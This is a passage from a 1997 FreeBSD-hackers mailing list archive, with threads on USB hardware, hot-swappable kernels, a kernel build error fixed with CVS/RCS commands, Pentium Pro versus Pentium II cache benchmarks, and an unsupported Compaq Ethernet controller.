1997 17:18:58 -0700 (PDT) Received: from hda.hda.com (hda-bicnet.bicnet.net [208.220.66.37]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA29930 for ; Wed, 6 Aug 1997 17:18:55 -0700 (PDT) Received: (from dufault@localhost) by hda.hda.com (8.8.5/8.8.5) id TAA24126; Wed, 6 Aug 1997 19:31:22 -0400 (EDT) From: Peter Dufault Message-Id: <199708062331.TAA24126@hda.hda.com> Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-Reply-To: <199708061810.LAA14421@phaeton.artisoft.com> from Terry Lambert at "Aug 6, 97 11:10:58 am" To: terry@lambert.org (Terry Lambert) Date: Wed, 6 Aug 1997 19:31:21 -0400 (EDT) Cc: hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Well, USB ports have been a selling point on a lot of systems here, > > but most of the motherboards that ship with it come with mini-8 DIN > > connectors rather than the "real" USB connector. > > Well, that's it, then. The standard is doomed... Useless data point: my crashbox Compaq Presario has two weird USB connectors on the back. Peter -- Peter Dufault (dufault@hda.com) Realtime development, Machine control, HD Associates, Inc. Safety critical systems, Agency approval From owner-freebsd-hackers Wed Aug 6 17:23:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA00266 for hackers-outgoing; Wed, 6 Aug 1997 17:23:44 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA00253; Wed, 6 Aug 1997 17:23:39 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id KAA09276; Thu, 7 Aug 1997 10:24:02 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id JAA01467; Thu, 7 Aug 1997 09:53:00 +0930 (CST) Message-Id: <199708070023.JAA01467@freebie.lemis.com> Subject: Re: Hot Swappable Kernels In-Reply-To: <199708070004.TAA00279@argus.tfs.net> from Jim Bryant at "Aug 6, 97 07:04:16 pm" To: jbryant@tfs.net Date: Thu, 7 Aug 1997 09:53:00 +0930 (CST) Cc: hackers@freebsd.org (FreeBSD Hackers), chat@freebsd.org (FreeBSD Chat) Reply-To: chat@freebsd.org (FreeBSD Chat) Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jim Bryant writes: > In reply: >> Jamil J. Weatherbee writes: >>> >>> I know this may sound kind of lame: >>> >>> I was thinking last night of what would be required to have a hot >>> swappable kernel.. i.e. being able to compile the kernel binary (probably) >>> modules and then insert it into a running system while maintaining its >>> running status --- to my knowledge kernel recompiles are the only reason a >>> perfectly rebooting system needs to come down every once in a while. >> >> I suspect people are going to shoot you down in flames, and they're >> probably justified. But I suppose you'd like to know that I've done >> just that in the past, at Tandem. The operating system is a loosely >> coupled network, so we were able to boot one machine at a time. >> Despite the obvious interest of such a scheme for Tandem, and despite >> my extensive lobbying, it never came to anything. >> >> I can't imagine how you would start to do such a thing with UNIX. The >> closest you could come to it would be to split most of the kernel into >> LKMs, and change them. But there's a basic conflict of concept >> between keeping a kernel running (even if it's no longer the same >> kernel) and booting a kernel. > > greg, > > Keep in mind that even for Guardian-90, you still have to boot... Sure, but with my method, you booted one CPU at a time. So the system really didn't go down. > Let's see, what changes if i simply change MAXUSERS... > > This is one of the simpler scenarios... Changing other things can be > really hairy... Sure, I'm not arguing that it should be possible to change a number of parameters without rebooting. On the contrary, it's a good idea. But it's a long way from there to swapping kernels on the fly. > Unix on a PC is not Guardian-90 on a Non-Stop. An occassional reboot > is not a bad thing. An occasionaly reboot is a necessary evil. That's just another way of saying that it's a Bad Thing. > Prediction: Three years, tops. Compaq will run Tandem into the > ground. A shame too... Hmm. I've spoken to people at Tandem, and the opinion is mixed. Remember Tandem's been running itself into the ground for a while. BTW (and thus the follow-up to -chat?): what are they going to call the new company? Tampaq or Condem have been suggested. Greg From owner-freebsd-hackers Wed Aug 6 18:09:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA03119 for hackers-outgoing; Wed, 6 Aug 1997 18:09:39 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA03109 for ; Wed, 6 Aug 1997 18:09:34 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id LAA10911; Thu, 7 Aug 1997 11:08:53 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id KAA01600; Thu, 7 Aug 1997 10:37:53 +0930 (CST) Message-Id: <199708070107.KAA01600@freebie.lemis.com> Subject: Re: kernel don't compile In-Reply-To: <199708070013.CAA23202@zibbi.mikom.csir.co.za> from Paul Allenby at "Aug 7, 97 02:13:40 am" To: pallenby@zibbi.mikom.csir.co.za (Paul Allenby) Date: Thu, 7 Aug 1997 10:37:53 +0930 (CST) Cc: hackers@freebsd.org (FreeBSD Hackers) Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Paul Allenby writes: > As of this morning... > > intr_machdep.c > cc -c -O -pipe -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -nostdinc -I- -I. -I../.. -I../../../include -DAPM_BROKEN_STATCLOCK -DLINUX -DFAILSAFE -DCOMPAT_43 -DMSDOSFS -DNFS -DFFS -DINET -DKERNEL -include opt_global.h ../../i386/isa/isa.c > ../../i386/isa/isa.c: In function `isa_dmastatus': > ../../i386/isa/isa.c:935: parse error before `<' > ../../i386/isa/isa.c:938: parse error before `==' > ../../i386/isa/isa.c:943: `_data' undeclared (first use this function) > ../../i386/isa/isa.c:943: (Each undeclared identifier is reported only once > ../../i386/isa/isa.c:943: for each function it appears in.) > ../../i386/isa/isa.c:943: warning: control reaches end of non-void function > ../../i386/isa/isa.c: At top level: > ../../i386/isa/isa.c:943: parse error before `)' > ../../i386/isa/isa.c:944: braced-group within expression allowed only inside a function This looks suspciously like a cvs error. You'll probably find a diff line at 935. Try this: cd /usr/src/sys/i386/isa ln -s `cat CVS/Repository` RCS rcsdiff -wu isa.c You should find significant differences. To fix things, do co isa.c This assumes you're tracking -current. Otherwise you need to find out the RCS version number or tag and check that out (and use this for the rcsdiff, as well). Greg From owner-freebsd-hackers Wed Aug 6 18:51:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA07673 for hackers-outgoing; Wed, 6 Aug 1997 18:51:41 -0700 (PDT) Received: from adam.adonai.net (adam.adonai.net [205.182.92.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA07665 for ; Wed, 6 Aug 1997 18:51:39 -0700 (PDT) Received: from localhost (leec@localhost) by adam.adonai.net (8.8.5/8.7.3) with SMTP id WAA03472; Sun, 3 Aug 1997 22:00:06 -0500 (CDT) Date: Sun, 3 Aug 1997 22:00:06 -0500 (CDT) From: "Lee Crites (AEI)" To: Chuck Robey cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD on Packard Bell? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 3 Aug 1997, Chuck Robey wrote: =>> tried just doing an install, without success. It just hangs at various =>> points (none of the 9 tries hung at the same spot) after all of the =>> setup screens and fs work, while copying blocks of data from the cd. => =>If no one answers this, maybe no one's done it? But if you want help, and =>you don't give any indications of what problems you're seeing, you really =>can't be terribly surprised if no one's able to help you. I figured a generic question would get a generic reply. If anyone had upgraded a pb box from windoze 95 to fbsd they (I hope) would say something like "I did and it's working okay for me." There is this fine line between dumping tons of information on a list in the hopes of getting an instant and detailed anwer right away vs. a generic question which will require followup. One wastes bandwidth for the 99% while the other requires multiple messages for the 1% (or less). I'm guilty of both, but I was shooting for the latter option this time. Lee From owner-freebsd-hackers Wed Aug 6 19:27:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA10408 for hackers-outgoing; Wed, 6 Aug 1997 19:27:36 -0700 (PDT) Received: from tenor.cgt.com (root@tenor.CGT.COM [207.44.182.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA10399 for ; Wed, 6 Aug 1997 19:27:33 -0700 (PDT) Received: from [205.134.245.87] (ppp087-stk0.sirius.net [205.134.245.87]) by tenor.cgt.com (8.8.5/8.8.5) with SMTP id TAA20884; Wed, 6 Aug 1997 19:27:29 -0700 (PDT) Message-Id: <199708070227.TAA20884@tenor.cgt.com> Subject: Re: Status of USB, TX chipset, PIIX3, etc. Date: Wed, 6 Aug 97 19:30:48 -0700 x-sender: parag@mail.codegen.com x-mailer: Claris Emailer 2.0v2, June 6, 1997 From: Parag Patel To: , "AGP Group" Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 8/5/1997 8:57 PM, Michael Smith (msmith@atrad.adelaide.edu.au) said: >On the contrary, I would be overjoyed to see USB succeed. However, it >adds components to the desktop cable mess, and these components currently >cost real money. When I can buy a USB hub/controller interface chip in >small volumes for under AUD$50 each, I'll say that USB has hit the >"geek" market. > >In 10k volumes, an integrated USB target/micro device would have to be >under the AUD$1 mark before it is cost effective. Try getting that >sort of quantity pricing on the Z8 or PIC micros commonly used in >serial mice these days... I just saw an ad at the back of the latest EETimes (Mon Aug 4, 1997 #965) from Cypress . The ad claims that they're selling the first USB uC under $1.00. (But they don't mention quantity.) It's their CY7C63nxx series of parts designed for joysticks, gamepads, and keyboards. It's an 8-bit microcontroller including RAM (128 or 256 bytes depending on the part), EPROM (4Kb or 8Kb), a USB serial engine, and a transceiver. It has a clock-doubler and "instant-on" low-power features. Number of I/Os (whatever those are) vary from 10 to 39. The ad claims it's a RISC core but doesn't say what's in it. The also advertise a development system is $495 including an emulator, assembler, debugger, software for mouse/joysticks, and a USB code library. Not quite at the geek hobbyist level, but certainly not outrageous either. For the record, I'm not am employee, customer, a contractor, or in any way affiliated with Cypress. -- Parag From owner-freebsd-hackers Wed Aug 6 19:28:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA10542 for hackers-outgoing; Wed, 6 Aug 1997 19:28:31 -0700 (PDT) Received: from tenor.cgt.com (root@tenor.CGT.COM [207.44.182.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA10530 for ; Wed, 6 Aug 1997 19:28:28 -0700 (PDT) Received: from [205.134.245.87] (ppp087-stk0.sirius.net [205.134.245.87]) by tenor.cgt.com (8.8.5/8.8.5) with SMTP id TAA20958; Wed, 6 Aug 1997 19:28:18 -0700 (PDT) Message-Id: <199708070228.TAA20958@tenor.cgt.com> Subject: Re: Status of USB, TX chipset, PIIX3, etc. Date: Wed, 6 Aug 97 19:31:37 -0700 x-sender: parag@mail.codegen.com x-mailer: Claris Emailer 2.0v2, June 6, 1997 From: Parag Patel To: , "AGP Group" Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 8/5/1997 8:57 PM, Michael Smith (msmith@atrad.adelaide.edu.au) said: >On the contrary, I would be overjoyed to see USB succeed. However, it >adds components to the desktop cable mess, and these components currently >cost real money. When I can buy a USB hub/controller interface chip in >small volumes for under AUD$50 each, I'll say that USB has hit the >"geek" market. > >In 10k volumes, an integrated USB target/micro device would have to be >under the AUD$1 mark before it is cost effective. Try getting that >sort of quantity pricing on the Z8 or PIC micros commonly used in >serial mice these days... I just saw an ad at the back of the latest EETimes (Mon Aug 4, 1997 #965) from Cypress . The ad claims that they're selling the first USB uC under $1.00. (But they don't mention quantity.) It's their CY7C63nxx series of parts designed for joysticks, gamepads, and keyboards. It's an 8-bit microcontroller including RAM (128 or 256 bytes depending on the part), EPROM (4Kb or 8Kb), a USB serial engine, and a transceiver. It has a clock-doubler and "instant-on" low-power features. Number of I/Os (whatever those are) vary from 10 to 39. The ad claims it's a RISC core but doesn't say what's in it. The also advertise a development system is $495 including an emulator, assembler, debugger, software for mouse/joysticks, and a USB code library. Not quite at the geek hobbyist level, but certainly not outrageous either. For the record, I'm not am employee, customer, a contractor, or in any way affiliated with Cypress. I'm just keeping an eye on things as I'll probably end up writing USB drivers for customers soon. -- Parag From owner-freebsd-hackers Wed Aug 6 19:35:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA10945 for hackers-outgoing; Wed, 6 Aug 1997 19:35:13 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA10938 for ; Wed, 6 Aug 1997 19:35:09 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.6/8.8.5) with ESMTP id TAA10446; Wed, 6 Aug 1997 19:35:04 -0700 (PDT) Message-Id: <199708070235.TAA10446@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Paul Southworth cc: freebsd-hackers@FreeBSD.ORG Subject: Re: MySQL using FreeBSD native threads (3.0) In-reply-to: Your message of "Tue, 05 Aug 1997 10:43:50 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 06 Aug 1997 19:35:03 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Care to just post the questions? Tnks, Amancio From owner-freebsd-hackers Wed Aug 6 19:41:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA11232 for hackers-outgoing; Wed, 6 Aug 1997 19:41:54 -0700 (PDT) Received: from vinyl.quickweb.com (vinyl.quickweb.com [206.222.77.8]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA11227 for ; Wed, 6 Aug 1997 19:41:51 -0700 (PDT) Received: (from mark@localhost) by vinyl.quickweb.com (8.8.5/8.6.12) id WAA15602; Wed, 6 Aug 1997 22:37:48 -0400 (EDT) Message-ID: <19970806223748.63083@vinyl.quickweb.com> Date: Wed, 6 Aug 1997 22:37:48 -0400 From: Mark Mayo To: Tony Overfield Cc: Curt Sampson , hackers@FreeBSD.ORG Subject: Re: Pentium II? References: <3.0.2.32.19970803041915.006a69e4@bugs.us.dell.com> <3.0.2.32.19970806043249.006df3e4@bugs.us.dell.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <3.0.2.32.19970806043249.006df3e4@bugs.us.dell.com>; from Tony Overfield on Wed, Aug 06, 1997 at 04:32:49AM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Just one question: why are you comparing the PPro with 256K cache instead of the PPro 200/512 ?? Everybody I know that builds high end PC server (an oxymoron I know..) used the 512KB version of the PPro... And most run it at 233MHz... -Mark On Wed, Aug 06, 1997 at 04:32:49AM -0500, Tony Overfield wrote: > At 03:17 AM 8/3/97 -0700, Curt Sampson wrote: > >I wasn't interested in what you think as much as which particular > >benchmarks indicate this. Feel free to provide references. > > I claimed that a larger L1 cache makes the processor faster, which > at least partially offsets the effect of the slower L2 cache. > This is ordinarily a self-evident truth which needs no references. > I have no desire to search for references at the behest of skeptics. > > >> It should be easy to agree that larger L1 caches have higher hit rates. > > > >Sure. But the L2 cache in the PPro is running at the same speed as > >the L1 cache in the PPro and the PII. Thus, I don't think that > >having twice the L1 cache is going to make a lot of difference. > >Feel free to show me the actual benchmarks that prove me wrong. > > > >cjs > > > >Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ > >Internet Portal Services, Inc. `And malt does more than Milton can > >Vancouver, BC (604) 257-9400 To justify God's ways to man.' > > You're wrong. The L1 cache in the PPro is faster than its L2 cache. > > Since the size of the L1 cache can't be adjusted on PPro processors, > it's not easy to find a ready-made benchmark that proves that a larger > L1 cache is beneficial. One way that this can be shown is to compare > the Pentium processors to the Pentium w/ MMX processors. In > comparisons between these, the MMX is invariably faster, due (for > non-MMX benchmarks) entirely to the larger L1 cache. However, as > you said, this only helps if the L2 cache is slower than the L1 > cache. But *that* can be easily proven. > > The performance of a cache depends on more than the clock speed at > which it runs. The L1 cache in the PPro and PII is split between an > instruction cache and a dual-ported data cache. Thus, the L1 cache can > transfer up to three sets of data per cycle. This means the processor > can simultaneously read code from the code cache, read data from the > data cache, and write data to the data cache. > > The L2 cache, on the other hand, is a unified instruction and data cache > with a 64 bit data bus. This L2 cache is much improved over the Pentium > (P5) architecture because it has a dedicated bus. The dedicated L2 cache > bus prevents L2 cache accesses from competing for bandwidth with the > external CPU data bus, which may be busy with ordinary CPU traffic, > traffic from PCI master cycles and traffic from other processors. > > Even though the built-in L2 cache is very fast, it is not as fast as > the more tightly integrated L1 cache. > > Some benchmark data is included below. > > First the benchmark pseudocode: > (If you want the DOS x86 assembly source code, ask me.) > > loop (for a variety of sizes) > { > wbinvd (empty the L1 and L2 caches) > rep movsd (move, in place, the test memory) > rtsc (read time stamp counter -> start time) > rep movsd (move, in place, the test memory) > rtsc (read time stamp counter -> end time) > } > > This simple little benchmark shows: > > 1. The PPro L1 data cache is 8KB. > 2. The PII L1 data cache is 16KB. > 3. The PII L2 cache is half-speed with respect to the PPro. > 4. My PPro's L2 cache is 256KB. > 5. My PII's L2 cache is 512KB. > 6. DRAM is much slower than the L2 cache (of course). > 7. The PPro's L2 cache is about two times slower than its L1 cache. > 8. The PII's L2 cache is about 4 or 5 times slower than its L1 cache. > > The results: > > PPro 200/256 > > Moving 2KB - Clocks: 0x0000023A Clocks/KB moved: 285 > Moving 4KB - Clocks: 0x000003B9 Clocks/KB moved: 238 > Moving 8KB - Clocks: 0x000006C9 Clocks/KB moved: 217 > Moving 12KB - Clocks: 0x0000186E Clocks/KB moved: 521 > Moving 16KB - Clocks: 0x0000206E Clocks/KB moved: 518 > Moving 24KB - Clocks: 0x0000306E Clocks/KB moved: 516 > Moving 32KB - Clocks: 0x0000406E Clocks/KB moved: 515 > Moving 64KB - Clocks: 0x0000806E Clocks/KB moved: 513 > Moving 128KB - Clocks: 0x0001006E Clocks/KB moved: 512 > Moving 256KB - Clocks: 0x00020127 Clocks/KB moved: 513 > Moving 384KB - Clocks: 0x000DBA60 Clocks/KB moved: 2342 > Moving 512KB - Clocks: 0x00124D1D Clocks/KB moved: 2342 > Moving 768KB - Clocks: 0x001B72BE Clocks/KB moved: 2342 > Moving 1024KB - Clocks: 0x00249796 Clocks/KB moved: 2341 > > PII 233/512 > > Moving 2KB - Clocks: 0x0000023A Clocks/KB moved: 285 > Moving 4KB - Clocks: 0x000003BA Clocks/KB moved: 238 > Moving 8KB - Clocks: 0x000006BA Clocks/KB moved: 215 > Moving 12KB - Clocks: 0x000009BA Clocks/KB moved: 207 > Moving 16KB - Clocks: 0x00000CF8 Clocks/KB moved: 207 > Moving 24KB - Clocks: 0x0000661B Clocks/KB moved: 1089 > Moving 32KB - Clocks: 0x0000881E Clocks/KB moved: 1088 > Moving 64KB - Clocks: 0x0001101E Clocks/KB moved: 1088 > Moving 128KB - Clocks: 0x00022024 Clocks/KB moved: 1088 > Moving 256KB - Clocks: 0x0004401A Clocks/KB moved: 1088 > Moving 384KB - Clocks: 0x00066029 Clocks/KB moved: 1088 > Moving 512KB - Clocks: 0x000880C6 Clocks/KB moved: 1088 > Moving 768KB - Clocks: 0x0016A600 Clocks/KB moved: 1932 > Moving 1024KB - Clocks: 0x0026AC66 Clocks/KB moved: 2475 > > Clocks are measured in actual CPU clocks, so these numbers > don't change much when the clock speed is changed, except > for those which are affected by DRAM accesses, since DRAM > speed doesn't scale with CPU speed. > > - > Tony > -- ---------------------------------------------------------------------------- Mark Mayo mark@quickweb.com RingZero Comp. http://vinyl.quickweb.com/mark finger mark@quickweb.com for my PGP key and GCS code ---------------------------------------------------------------------------- University degrees are a bit like adultery: you may not want to get involved with that sort of thing, but you don't want to be thought incapable. -Sir Peter Imbert From owner-freebsd-hackers Wed Aug 6 19:52:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA11693 for hackers-outgoing; Wed, 6 Aug 1997 19:52:52 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA11688 for ; Wed, 6 Aug 1997 19:52:48 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA11605; Thu, 7 Aug 1997 12:10:04 +0930 (CST) From: Michael Smith Message-Id: <199708070240.MAA11605@genesis.atrad.adelaide.edu.au> Subject: Re: Ethernet driver for Compaq Deskpro 4000 In-Reply-To: <18347.870909109@time.cdrom.com> from "Jordan K. Hubbard" at "Aug 6, 97 04:11:49 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 7 Aug 1997 12:10:03 +0930 (CST) Cc: peter.jeremy@alcatel.com.au, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jordan K. Hubbard stands accused of saying: > > I would like to run FreeBSD on a Compaq Deskpro 4000. Unfortunately, > > this machine includes a non-supported NetFlex-3 Ethernet controller. > > The NetFlex-3 is based on the TI ThunderLAN TNETE100A NIC. The > > output from a verbose PCI probe is shown below (the particular chip > > probes as pci0:11:). > > > > Does anyone have a suitable FreeBSD 2.2 driver for this NIC? > > My understanding is that the company does not provide technical > details for this card, hence it's difficult to envision support > being provided for it anytime soon. I'm fairly certain that this is not the case; I pursued the datasheet for this part last time the issue was raised, and I do recall locating it. Given my recollections' track record, you might want to verify this independantly; check TI's website. > Jordan -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 6 20:16:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA12773 for hackers-outgoing; Wed, 6 Aug 1997 20:16:44 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@tibet-27.ppp.hooked.net [206.80.9.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA12768 for ; Wed, 6 Aug 1997 20:16:39 -0700 (PDT) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.6/8.8.5) with SMTP id UAA00360; Wed, 6 Aug 1997 20:14:02 -0700 (PDT) X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Wed, 6 Aug 1997 20:14:00 -0700 (PDT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: Paul Allenby cc: hackers@FreeBSD.ORG Subject: Re: kernel don't compile In-Reply-To: <199708070013.CAA23202@zibbi.mikom.csir.co.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 7 Aug 1997, Paul Allenby wrote: > As of this morning... > > intr_machdep.c > cc -c -O -pipe -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -nostdinc -I- -I. -I../.. -I../../../include -DAPM_BROKEN_STATCLOCK -DLINUX -DFAILSAFE -DCOMPAT_43 -DMSDOSFS -DNFS -DFFS -DINET -DKERNEL -include opt_global.h ../../i386/isa/isa.c > ../../i386/isa/isa.c: In function `isa_dmastatus': > ../../i386/isa/isa.c:935: parse error before `<' > ../../i386/isa/isa.c:938: parse error before `==' Try going back to the kernel configuration file, and running config on it, then make it again. This seems to solve most problems involved with upgrading. - alex From owner-freebsd-hackers Wed Aug 6 21:04:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA14519 for hackers-outgoing; Wed, 6 Aug 1997 21:04:33 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA14468 for ; Wed, 6 Aug 1997 21:03:54 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id NAA12902; Thu, 7 Aug 1997 13:33:12 +0930 (CST) From: Michael Smith Message-Id: <199708070403.NAA12902@genesis.atrad.adelaide.edu.au> Subject: Re: kernel don't compile In-Reply-To: <199708070013.CAA23202@zibbi.mikom.csir.co.za> from Paul Allenby at "Aug 7, 97 02:13:40 am" To: pallenby@zibbi.mikom.csir.co.za (Paul Allenby) Date: Thu, 7 Aug 1997 13:33:12 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Paul Allenby stands accused of saying: > As of this morning... > > intr_machdep.c > cc -c -O -pipe -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -nostdinc -I- -I. -I../.. -I../../../include -DAPM_BROKEN_STATCLOCK -DLINUX -DFAILSAFE -DCOMPAT_43 -DMSDOSFS -DNFS -DFFS -DINET -DKERNEL -include opt_global.h ../../i386/isa/isa.c > ../../i386/isa/isa.c: In function `isa_dmastatus': > ../../i386/isa/isa.c:935: parse error before `<' > ../../i386/isa/isa.c:938: parse error before `==' > ../../i386/isa/isa.c:943: `_data' undeclared (first use this function) > ../../i386/isa/isa.c:943: (Each undeclared identifier is reported only once > ../../i386/isa/isa.c:943: for each function it appears in.) > ../../i386/isa/isa.c:943: warning: control reaches end of non-void function > ../../i386/isa/isa.c: At top level: > ../../i386/isa/isa.c:943: parse error before `)' > ../../i386/isa/isa.c:944: braced-group within expression allowed only inside a function isa.c has not changed since 970729, and the above errors do not correspond to any meaningful regions in isa.c, most particularly line 943 is in the middle of a multiline comment. Please always check your source files in situations like this; it is useful to know the revision number of the file you are having trouble with. > Paul -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Wed Aug 6 21:05:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA14581 for hackers-outgoing; Wed, 6 Aug 1997 21:05:49 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA14575 for ; Wed, 6 Aug 1997 21:05:40 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id NAA12934; Thu, 7 Aug 1997 13:35:01 +0930 (CST) From: Michael Smith Message-Id: <199708070405.NAA12934@genesis.atrad.adelaide.edu.au> Subject: Re: kernel don't compile In-Reply-To: <199708070107.KAA01600@freebie.lemis.com> from Greg Lehey at "Aug 7, 97 10:37:53 am" To: grog@lemis.com (Greg Lehey) Date: Thu, 7 Aug 1997 13:35:01 +0930 (CST) Cc: pallenby@zibbi.mikom.csir.co.za, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greg Lehey stands accused of saying: > > This looks suspciously like a cvs error. You'll probably find a diff > line at 935. Try this: > > cd /usr/src/sys/i386/isa > ln -s `cat CVS/Repository` RCS > rcsdiff -wu isa.c It is much easier to say : % cd /sys/i386/isa % cvs diff -wu isa.c > You should find significant differences. To fix things, do > > co isa.c And likewise % rm isa.c % cvs update isa.c > This 